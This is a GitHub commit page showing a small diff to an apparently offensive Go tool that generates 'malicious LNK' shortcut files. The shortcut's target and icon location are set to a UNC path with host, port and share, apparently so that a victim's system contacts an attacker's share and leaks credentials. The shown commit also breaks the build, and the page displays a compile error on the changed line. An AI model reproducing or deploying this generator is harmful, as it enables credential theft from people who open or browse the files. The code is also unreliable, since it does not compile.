Skip to content

Commit

Permalink
Update Manager.go
Browse files Browse the repository at this point in the history
  • Loading branch information
nickvourd authored Nov 16, 2024
1 parent 6d441ab commit 09a501e
Showing 1 changed file with 3 additions and 5 deletions.
8 changes: 3 additions & 5 deletions Packages/Manager/Manager.go
Original file line number Diff line number Diff line change
Expand Up @@ -19,10 +19,8 @@ func CreateLNK(target string, output string, description string, port string, sh
logger := log.New(os.Stderr, "[!] ", 0)

fmt.Printf("[+] Preparing your malicious LNK file...\n\n")

// Set the target path
target = "%USERPROFILE%\\Documents"
targetIco := "\\\\" + target + "@" + port + "\\" + share

target := "\\\\" + target + "@" + port + "\\" + share

Check failure on line 23 in Packages/Manager/Manager.go

View workflow job for this annotation

GitHub Actions / goreleaser

no new variables on left side of :=

// Record the start time
LNKCreationStartTime := time.Now()
Expand Down Expand Up @@ -55,7 +53,7 @@ func CreateLNK(target string, output string, description string, port string, sh
// Set properties of the shortcut
oleutil.PutProperty(shortcut.ToIDispatch(), "TargetPath", target)
oleutil.PutProperty(shortcut.ToIDispatch(), "Description", description)
oleutil.PutProperty(shortcut.ToIDispatch(), "IconLocation", targetIco)
oleutil.PutProperty(shortcut.ToIDispatch(), "IconLocation", target)
oleutil.PutProperty(shortcut.ToIDispatch(), "WindowStyle", 7)

// Save the shortcut
Expand Down

0 comments on commit 09a501e

Please sign in to comment.